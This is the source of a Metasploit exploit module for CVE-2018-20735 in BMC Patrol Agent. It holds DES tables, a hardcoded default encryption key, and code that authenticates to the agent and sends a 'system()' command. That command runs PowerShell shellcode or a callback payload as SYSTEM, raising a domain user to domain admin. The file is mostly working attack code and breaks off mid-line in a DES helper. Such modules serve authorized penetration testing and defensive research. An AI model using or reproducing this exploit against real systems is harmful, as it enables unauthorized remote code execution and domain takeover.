Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'zlib'56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking8include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Powershell1011@deflater = nil12@inflater = nil1314SBOXES = [150x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,160x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,170x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,180x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,190x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,200x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,210x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,220x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,230x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,240x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,250x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,260x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,270x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,280x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,290x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,300x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,310x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,320x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,330x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,340x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,350x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,360x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,370x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,380x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,390x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,400x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,410x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,420x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,430x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,440x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,450x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,460x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,470x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,480x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,490x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,500x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,510x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,520x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,530x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,540x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,550x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,560x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,570x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,580x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,590x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,600x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,610x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,620x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,630x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,640x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,650x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,660x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,670x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,680x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,690x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,700x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,710x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,720x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,730x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,740x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,750x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,760x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,770x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,780x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,790x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,800x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,810x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,820x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,830x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,840x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,850x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,860x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,870x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,880x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,890x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,900x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,910x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,920x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,930x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,940x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,950x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,960x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,970x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,980x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,990x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,1000x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,1010x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,1020x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,1030x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,1040x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,1050x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,1060x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,1070x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,1080x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1090x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1100x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,1110x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,1120x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,1130x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,1140x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,1150x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220116].freeze117118PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\119"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\120"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\121"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze122123PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\124"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\125"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\126"\x23\x1C\x1F".freeze127128SBOX_BYTE_ORDER = [1291, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,1300x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,1310x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,1320x40000000, 0x80000000133].freeze134135ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze136INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze137INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze138139DES_ENCRYPT = 0140141def initialize(info = {})142super(143update_info(144info,145'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',146'Description' => %q{147This module leverages the remote command execution feature provided by148the BMC Patrol Agent software. It can also be used to escalate privileges149on Windows hosts as the software runs as SYSTEM but only verfies that the password150of the provided user is correct. This also means if the software is running on a151domain controller, it can be used to escalate from a normal domain user to domain152admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses153powershell to execute the payload. The powershell version tends to timeout on154the first run so it may take multiple tries.155},156'License' => MSF_LICENSE,157'Author' => [158'b0yd' # @rwincey / Vulnerability Discovery and MSF module author159],160'References' => [161['CVE', '2018-20735'],162['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']163],164'Platform' => ['win', 'linux'],165'Targets' => [166[167'Windows Powershell Injected Shellcode', {168'Platform' => 'win'169}170],171[172'Generic Command Callback', {173'Arch' => ARCH_CMD,174'Platform' => %w[linux unix win]175}176]177],178'Privileged' => true,179'DefaultTarget' => 0,180'DefaultOptions' => {181'DisablePayloadHandler' => true182},183'DisclosureDate' => '2019-01-17',184'Notes' => {185'Reliability' => UNKNOWN_RELIABILITY,186'Stability' => UNKNOWN_STABILITY,187'SideEffects' => UNKNOWN_SIDE_EFFECTS188}189)190)191192register_options(193[194Opt::RPORT(3181),195OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),196OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),197OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])198]199)200end201202def cleanup203disconnect204print_status("Disconnected from BMC Patrol Agent.")205@inflater.close206@deflater.close207super208end209210def get_target_os(srv_info_msg)211lines = srv_info_msg.split("\n")212fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"213214os = nil215ver = nil216lines[2..-2].each do |i|217val = i.split("=")218if val.length == 2219if val[0].strip! == "T"220os = val[1]221elsif val[0].strip! == "VER"222ver = val[1]223end224end225end226[os, ver]227end228229def get_cmd_output(cmd_output_msg)230lines = cmd_output_msg.split("\n")231fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"232233# Parse out command results234idx_start = cmd_output_msg.index("Result\x00")235idx_end = cmd_output_msg.index("RemPsl_user")236output = cmd_output_msg[idx_start + 7..idx_end - 1]237238output239end240241def exploit242# Manually start the handler if not running a single command243if datastore['CMD'].nil? || datastore['CMD'].empty?244245# Set to nil if the cmd is empty for checks further down246datastore['CMD'] = nil247datastore['DisablePayloadHandler'] = false248249# Configure the payload handler250payload_instance.exploit_config = {251'active_timeout' => 300252}253# Setup the payload handler254payload_instance.setup_handler255256# Start the payload handler257payload_instance.start_handler258259end260261# Initialize zlib objects262@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)263@inflater = Zlib::Inflate.new264265# Connect to the BMC Patrol Agent266connect267print_status("Connected to BMC Patrol Agent.")268269# Create session msg270create_session271ret_data = receive_msg272fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?273274# Authenticate275authenticate_user(datastore['USER'], datastore['PASSWORD'])276277# Receive the authentication response278ret_data = receive_msg279fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?280281ret_msg = process_response(ret_data)282if ret_msg =~ /logged in/283print_status("Successfully authenticated user.")284else285fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")286end287288# Receive the server info289ret_data = receive_msg290fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?291srv_info = process_response(ret_data)292293# Get the target's OS from their info msg294target_os = get_target_os(srv_info)295296# When using autotargeting, MSF selects the Windows meterpreter as the default payload.297# Fail if this is the case and ask the user to select an appropriate payload.298if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?299fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")300end301302target_name = target.name303if !datastore['CMD'].nil?304command = datastore['CMD'].tr('"', '\"')305print_status("Command to execute: #{command}")306elsif target_name == 'Windows Powershell Injected Shellcode'307# Get encoded powershell of payload308command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')309else310command = payload.raw.tr('"', '\"')311end312313# Run command314run_cmd(command)315316# Receive command confirmation317ret_data = receive_msg318if !ret_data.nil?319process_response(ret_data)320end321322# Receive command output323ret_data = receive_msg324if !ret_data.nil? && !datastore['CMD'].nil?325cmd_result_data = process_response(ret_data)326cmd_result = get_cmd_output(cmd_result_data)327print_status("Output:\n#{cmd_result}")328end329330# Handle the shell331handler332end333334def receive_msg335header = sock.get_once(6)336if header.nil?337return338end339340payload_size_arr = header[0, 4]341payload_size = payload_size_arr.unpack1("N")342payload = ''343if payload_size > 0344payload = sock.get_once(payload_size)345if payload.nil?346return347end348end349350return header + payload351end352353def send_msg(type, compression, data)354data_len = data.length355buf = [data_len].pack('N')356357# Set the type358buf += [type].pack('C')359360# Set compression flag361buf += [compression].pack('C')362363# Add data364buf += data365366# Send msg367sock.put(buf)368end369370def process_response(ret_data)371# While style checks complain, I intend to leave this parsing372# in place for debugging purposes373ret_size_arr = ret_data[0, 4]374ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment375376msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment377comp_flag = ret_data[5, 1]378379payload_data = ret_data[6..-1]380if comp_flag == "\x00"381bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment382payload_data = @inflater.inflate(payload_data)383end384385return payload_data386end387388def run_cmd(cmd)389user_num = rand 1000..9999390msg_1 = %(R_E391{392\tRE_ID=1393\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}394\tRE_ORG=PemApi395\tRE_SEV=1396\tRE_NSEV=5397\tRE_ST=398}399)400401msg_1 += "\x00"402# Compress the message403comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH404send_msg(0x44, 0x0, comp_data)405end406407def identify(user)408inner_len = 15409msg_type = 8410len_str = [inner_len].pack("N")411msg_str = [msg_type].pack("N")412msg_1 = %(PEM_MSG413{414\tNSDL=#{inner_len}415\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00416}417)418msg_1 += "\x00"419print_status("Msg: #{msg_1}")420bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment421# Compress the message422comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH423send_msg(0x44, 0x0, comp_data)424end425426def create_session427sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"428sess_msg += "\x00" * 0x68429send_msg(0x45, 0x2, sess_msg)430end431432def authenticate_user(user, password)433# Default encryption key434enc_key = 'k$C4}@"_'435output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)436# Convert to hex string437encrpted_pw = output_data.unpack1("H*")438des_pw = encrpted_pw.upcase439440msg_1 = %(ID441{442\tHOST=user443\tUSER=#{user}444\tPASS=#{des_pw}445\tVER=V9.6.00446\tT=PEMAPI447\tHTBT=1448\tTMOT=1728000449\tRTRS=3450}451)452453msg_1 += "\x00"454comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH455send_msg(0x44, 0x0, comp_data)456end457458def rotate_block_init(input_block_tuple)459v6 = 0460v5 = 0461input_block_tuple = input_block_tuple.pack("V*").unpack("i*")462v3 = input_block_tuple[0]463v4 = input_block_tuple[1]464465if (v4 & 0x2000000) != 0466v5 = 1467end468if (v4 & 0x20000) != 0469v5 |= 2470end471if (v4 & 0x200) != 0472v5 |= 4473end474if (v4 & 2) != 0475v5 |= 8476end477if (v3 & 0x2000000) != 0478v5 |= 0x10479end480if (v3 & 0x20000) != 0481v5 |= 0x20482end483if (v3 & 0x200) != 0484v5 |= 0x40485end486if (v3 & 2) != 0487v5 |= 0x80488end489if (v4 & 0x8000000) != 0490v5 |= 0x100491end492if (v4 & 0x80000) != 0493v5 |= 0x200494end495if (v4 & 0x800) != 0496v5 |= 0x400497end498if (v4 & 8) != 0499v5 |= 0x800500end501if (v3 & 0x8000000) != 0502v5 |= 0x1000503end504if (v3 & 0x80000) != 0505v5 |= 0x2000506end507if (v3 & 0x800) != 0508v5 |= 0x4000509end510if (v3 & 8) != 0511v5 |= 0x8000512end513if (v4 & 0x20000000) != 0514v5 |= 0x10000515end516if (v4 & 0x200000) != 0517v5 |= 0x20000518end519if (v4 & 0x2000) != 0520v5 |= 0x40000521end522if (v4 & 0x20) != 0523v5 |= 0x80000524end525if (v3 & 0x20000000) != 0526v5 |= 0x100000527end528if (v3 & 0x200000) != 0529v5 |= 0x200000530end531if (v3 & 0x2000) != 0532v5 |= 0x400000533end534if (v3 & 0x20) != 0535v5 |= 0x800000536end537if (v4 < 0)538v5 |= 0x1000000539end540if (v4 & 0x800000) != 0541v5 |= 0x2000000542end543if (v4 & 0x8000) != 0544v5 |= 0x4000000545end546if (v4 & 0x80) != 0547v5 |= 0x8000000548end549if (v3 < 0)550v5 |= 0x10000000551end552if (v3 & 0x800000) != 0553v5 |= 0x20000000554end555if (v3 & 0x8000) != 0556v5 |= 0x40000000557end558if (v3 & 0x80) != 0559v5 |= 0x80000000560end561if (v4 & 0x1000000) != 0562v6 = 1563end564if (v4 & 0x10000) != 0565v6 |= 2566end567if (v4 & 0x100) != 0568v6 |= 4569end570if (v4 & 1) != 0571v6 |= 8572end573if (v3 & 0x1000000) != 0574v6 |= 0x10575end576if (v3 & 0x10000) != 0577v6 |= 0x20578end579if (v3 & 0x100) != 0580v6 |= 0x40581end582if (v3 & 1) != 0583v6 |= 0x80584end585if (v4 & 0x4000000) != 0586v6 |= 0x100587end588if (v4 & 0x40000) != 0589v6 |= 0x200590end591if (v4 & 0x400) != 0592v6 |= 0x400593end594if (v4 & 4) != 0595v6 |= 0x800596end597if (v3 & 0x4000000) != 0598v6 |= 0x1000599end600if (v3 & 0x40000) != 0601v6 |= 0x2000602end603if (v3 & 0x400) != 0604v6 |= 0x4000605end606if (v3 & 4) != 0607v6 |= 0x8000608end609if (v4 & 0x10000000) != 0610v6 |= 0x10000611end612if (v4 & 0x100000) != 0613v6 |= 0x20000614end615if (v4 & 0x1000) != 0616v6 |= 0x40000617end618if (v4 & 0x10) != 0619v6 |= 0x80000620end621if (v3 & 0x10000000) != 0622v6 |= 0x100000623end624if (v3 & 0x100000) != 0625v6 |= 0x200000626end627if (v3 & 0x1000) != 0628v6 |= 0x400000629end630if (v3 & 0x10) != 0631v6 |= 0x800000632end633if (v4 & 0x40000000) != 0634v6 |= 0x1000000635end636if (v4 & 0x400000) != 0637v6 |= 0x2000000638end639if (v4 & 0x4000) != 0640v6 |= 0x4000000641end642if (v4 & 0x40) != 0643v6 |= 0x8000000644end645if (v3 & 0x40000000) != 0646v6 |= 0x10000000647end648if (v3 & 0x400000) != 0649v6 |= 0x20000000650end651if (v3 & 0x4000) != 0652v6 |= 0x40000000653end654if (v3 & 0x40) != 0655v6 |= 0x80000000656end657658# Create return tuple659ret_block = Array.new660ret_block.push v5661ret_block.push v6662ret_block663end664665def rotate_block_final(input_block_tuple)666v6 = 0667v5 = 0668input_block_tuple = input_block_tuple.pack("V*").unpack("i*")669v3 = input_block_tuple[0]670v4 = input_block_tuple[1]671672if (v4 & 0x80) != 0673v5 = 1674end675if (v3 & 0x80) != 0676v5 |= 2677end678if (v4 & 0x8000) != 0679v5 |= 4680end681if (v3 & 0x8000) != 0682v5 |= 8683end684if (v4 & 0x800000) != 0685v5 |= 0x10686end687if (v3 & 0x800000) != 0688v5 |= 0x20689end690if (v4 < 0)691v5 |= 0x40692end693if (v3 < 0)694v5 |= 0x80695end696if (v4 & 0x40) != 0697v5 |= 0x100698end699if (v3 & 0x40) != 0700v5 |= 0x200701end702if (v4 & 0x4000) != 0703v5 |= 0x400704end705if (v3 & 0x4000) != 0706v5 |= 0x800707end708if (v4 & 0x400000) != 0709v5 |= 0x1000710end711if (v3 & 0x400000) != 0712v5 |= 0x2000713end714if (v4 & 0x40000000) != 0715v5 |= 0x4000716end717if (v3 & 0x40000000) != 0718v5 |= 0x8000719end720if (v4 & 0x20) != 0721v5 |= 0x10000722end723if (v3 & 0x20) != 0724v5 |= 0x20000725end726if (v4 & 0x2000) != 0727v5 |= 0x40000728end729if (v3 & 0x2000) != 0730v5 |= 0x80000731end732if (v4 & 0x200000) != 0733v5 |= 0x100000734end735if (v3 & 0x200000) != 0736v5 |= 0x200000737end738if (v4 & 0x20000000) != 0739v5 |= 0x400000740end741if (v3 & 0x20000000) != 0742v5 |= 0x800000743end744if (v4 & 0x10) != 0745v5 |= 0x1000000746end747if (v3 & 0x10) != 0748v5 |= 0x2000000749end750if (v4 & 0x1000) != 0751v5 |= 0x4000000752end753if (v3 & 0x1000) != 0754v5 |= 0x8000000755end756if (v4 & 0x100000) != 0757v5 |= 0x10000000758end759if (v3 & 0x100000) != 0760v5 |= 0x20000000761end762if (v4 & 0x10000000) != 0763v5 |= 0x40000000764end765if (v3 & 0x10000000) != 0766v5 |= 0x80000000767end768if (v4 & 8) != 0769v6 = 1770end771if (v3 & 8) != 0772v6 |= 2773end774if (v4 & 0x800) != 0775v6 |= 4776end777if (v3 & 0x800) != 0778v6 |= 8779end780if (v4 & 0x80000) != 0781v6 |= 0x10782end783if (v3 & 0x80000) != 0784v6 |= 0x20785end786if (v4 & 0x8000000) != 0787v6 |= 0x40788end789if (v3 & 0x8000000) != 0790v6 |= 0x80791end792if (v4 & 4) != 0793v6 |= 0x100794end795if (v3 & 4) != 0796v6 |= 0x200797end798if (v4 & 0x400) != 0799v6 |= 0x400800end801if (v3 & 0x400) != 0802v6 |= 0x800803end804if (v4 & 0x40000) != 0805v6 |= 0x1000806end807if (v3 & 0x40000) != 0808v6 |= 0x2000809end810if (v4 & 0x4000000) != 0811v6 |= 0x4000812end813if (v3 & 0x4000000) != 0814v6 |= 0x8000815end816if (v4 & 2) != 0817v6 |= 0x10000818end819if (v3 & 2) != 0820v6 |= 0x20000821end822if (v4 & 0x200) != 0823v6 |= 0x40000824end825if (v3 & 0x200) != 0826v6 |= 0x80000827end828if (v4 & 0x20000) != 0829v6 |= 0x100000830end831if (v3 & 0x20000) != 0832v6 |= 0x200000833end834if (v4 & 0x2000000) != 0835v6 |= 0x400000836end837if (v3 & 0x2000000) != 0838v6 |= 0x800000839end840if (v4 & 1) != 0841v6 |= 0x1000000842end843if (v3 & 1) != 0844v6 |= 0x2000000845end846if (v4 & 0x100) != 0847v6 |= 0x4000000848end849if (v3 & 0x100) != 0850v6 |= 0x8000000851end852if (v4 & 0x10000) != 0853v6 |= 0x10000000854end855if (v3 & 0x10000) != 0856v6 |= 0x20000000857end858if (v4 & 0x1000000) != 0859v6 |= 0x40000000860end861if (v3 & 0x1000000) != 0862v6 |= 0x80000000863end864865# Create return tuple866ret_block = Array.new867ret_block.push v5868ret_block.push v6869ret_block870end871872def load(a1)873a2 = Array.new(8, 0)874v3 = a1875a2[0] = a1 & 0xff876v3 >>= 3877a2[1] = v3 & 0xff878v3 >>= 4879a2[2] = v3 & 0xff880v3 >>= 4881a2[3] = v3 & 0xff882v3 >>= 4883a2[4] = v3 & 0xff884v3 >>= 4885a2[5] = v3 & 0xff886v3 >>= 4887a2[6] = v3 & 0xff888v3 >>= 4889a2[7] = v3 & 0xff890a2[0] = (a2[0] * 2) & 0xff891a2[7] |= (16 * a2[0]) & 0xff892v3 >>= 4893a2[0] |= v3 & 0xff894895data_block = a2.pack("c*").unpack("V*")896data_block[0] &= 